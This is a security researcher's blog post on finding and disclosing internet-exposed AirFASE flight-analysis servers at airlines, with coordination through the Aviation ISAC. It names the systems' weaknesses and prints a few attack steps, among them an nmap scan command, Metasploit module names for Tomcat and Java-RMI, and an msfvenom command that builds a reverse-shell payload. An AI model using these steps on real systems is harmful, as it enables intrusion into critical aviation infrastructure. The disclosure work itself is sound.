Global Aviation Cyber Security Issue – AirFASE Write Up

Security Researcher

Global Aviation Cyber Security Issue – AirFASE Write Up

A small group of security researchers formed of Kizzzzurt (@Infosec_Pom), CyberSecStu (@CyberSecStu) and myself discovered 32 AirFASE devices connected to the public internet via port 8080 over HTTP. The initial discovery was made by Kizzzzurt in early June. We worked in attributing the AirFASE devices to various global corporations and airports, assessing the systems for vulnerabilities and reporting each to the relevant organizations. For the protection of the organizations involved all identifying information will be removed or blurred.

For more information on the initial discovery check out Kizzzzurts blog

What Is AirFASE?

AirFASE is an acronym for Aircraft Flight Analysis & Safety Explorer. It is a post-flight system that collects and analyses data from the various inertia sensors aboard aircraft. To give the operators of said aircraft the ability to analyze hard landings, turbulence and other g-force incidents aboard aircraft. Using this data the airline can then schedule inspections and maintenance of the landing gear for example following a hard landing. The software was developed by Teledyne Controls. The software also gives flight analysts accurate reproductions of the flight as seen in the 2 figures below. Furthermore, we believe the AirFASE devices create a secure tunnel into the organization’s private network, providing a potential pivot point for attackers if breached.

Figure 1 – AirFASE Example

Figure 2 – AirFASE Example

Figures 1 and 2 are taken from NavBlue’s AirFASE sales site. At no point did we conduct any penetrative testing.

WebApp Issues

The first issue we found regarding the AirFASE configuration was that all 32 portals were using HTTP, thus all traffic is seemingly sent unencrypted. Furthermore, the portal itself is fundamentally insecure and from the way it handles incorrect logins to parsing login information, it looks to not have had security in mind when it was developed. It is clear that the system was never intended to be connected directly to the internet. The main issue with the portal was the fact that it sends username and password in clear text via HTTP. Which can be seen in Figure 4. When a login fails we can clearly see that the portal returns an empty SQL query as the error which gives a potential attacker great insight into the internal database architecture and hence how to exploit it. This can be seen in Figure 5. All of these vulnerabilities amalgamate to potential further network infiltration as AirFASE also can provide a tunnel into the corporate network for the specific organization or datacenter where the device is residing.


After analysing the web application we decided that we would attempt to find and contact the relevant organisations. This is when we began the attribution of the airlines. The method we used to attribute the systems to the airlines is as follows… 1. Stick the IP into Maltego and see what it kicks out while this only gave us a confidence in one organization via their MX servers. 2. Following that we would take the IP address and run it through nmap using the command “sudo nmap -v -A -Pn -sS ./Desktop/nmapiplist”. This allowed us to mass scan all the IP addresses where the HTTP banners often gave us the name of the organization. We discovered a wide array of usage including: Teledyne test servers and datacenter devices, major international airlines, flight schools, and software development companies. During the scanning phase we decided it was wise to look for vulnerabilities on the servers outside of the AirFASE functionality and we found not only recent issues but a lot legacy vulnerabilities as well.

Server Issues

A typical NMap report for one of the AirFASE servers would look like:

I have removed all identifying information

We found numerous servers with port 445 open running SMB which as we all know as MS17-010 or EternalBlue, that alone its very concerning. Following that we started noticing a lot of the Teledyne hosted systems had port 139 open and giving a signature for Windows 98 NetBIOS-SSN. When it comes to Win98 NetBIOS-ssn vulnerabilities just a google search will reveal many. The general consensus for stuff like that is to just leave it closed as you don’t need it. If you want a remotely accessible system then set up SSH, at least then the traffic being transmitted is encrypted. Another area for concern was that some of the devices had unsecured MySQL databases running which is where the data that has been transferred from an aircraft to the AirFASE system is stored which gives an attacker a plethora of this airline-critical data. All of the AirFASE servers were hosting the service via Apache Tomcat. When it comes to exploiting Tomcat, there are Metasploit modules in the base distribution to brute force the credentials. Utilizing ‘auxiliary/scanner/http/tomcat_mgr_login’ you can then use the credentials exploit below to achieve a reverse TCP shell on the target machine.

msfvenom -p java/shell_reverse_tcp LHOST=... LPORT=4444 -f war > shell3.war

Another vulnerable service we found running on some of the Teledyne systems was Java-RMI. Java-RMI is Java remote method invocation, it is an API that creates procedure calls and is vulnerable to CVE-2011-3556 with the Metasploit module ‘exploit/multi/misc/java_rmi_server’. This allows an attacker to take advantage of the default configuration of the RMI Registry and RMI Activation services to let the attacker load classes from any HTTP URL. Thus unauthorized disclosure of information, modification and disruption of service. We have since had our attention drawn to a machine. This is because the machine has completely exposed FTP directories pertaining to GE Reports and Flight Data. This FTP service does not require authentication, as seen below by the FTP code 230 and that we can see the directories. This is a major data breach in itself. As you can see below it was active as of the 19/7/2018.

Here are some of my favorite nmap scan results:


From the scans we were able to identify ~20 Airlines, airports and organisations. We then began contacting these organisations with only three actually getting back in touch with us. One of the airlines suggested that we contact the Aviation ISAC (A-ISAC) who we subsequently emailed all of our technical information to. During our initial correspondence with the A-ISAC we noticed that Teledyne was already taking the systems offline. After a week of late nights and frantic googling to try to piece together this information the takedowns brought us some relief as we were at no point able to reach Teledyne directly to discuss the issue. In fact, they had explicitly requested airlines not send us their contact information. One thing we noticed was that while the AirFASE login portals had been taken offline that services like SMB and MySQL DB where the AirFASE data was stored were still online so that information was also included in the email to the A-ISAC. The remaining 22 have been taken offline by either the airlines or what can only be construed as Teledyne’s damage control response. A-ISAC have since been in contact with us to discuss the remidation process and how to implement better practices with aviation related systems. With it all concluding on the 6/9/2018 in a confrence call.


AirFASE is an airline critical system that should in no way be connected to the internet. It has too many baked-in cyber security problems in its current state. In regards to the remaining server issues, disable any ports that aren’t absolutely necessary and do whatever possible to strip the system from internet visibility. For a system with critical/proprietary data such as an AirFASE system, it should never be connecting to the internet via unsecured protocols. Never have FTP anonymous login allowed at all! It should never be allowed in any shape or form! Remember the age-old phrase: Patch Everything! and don’t connect things that should not be internet facing directly to the internet without serious compensating controls. It may sound like common sense but this issue was international and should have been caught and remediated by the organization’s internal information security teams or whomever provides security or threat intelligence as a service to these airlines.

A-ISAC have been fantastic to work with and helpful at every stage of the remidiation process and handling that at a stakeholder level. We would also like to thank the NCSC Vulnerability Management Team for helping in the identification of systems allowing us to contact the airlines directly to get the vulnerabilities handled in a timely manner.

Due to the severity of the systems it took roughly 3 months to get to the point where A-ISAC estimate around 90% if the systems have been taken offline or patched.

Thanks For Reading!

if you have any questions regarding anything contact me via twitter @Rag_Sec or contact Kizzzurt @InfoSec_Pom

For the information on the initial discovery head over to Kurts blog!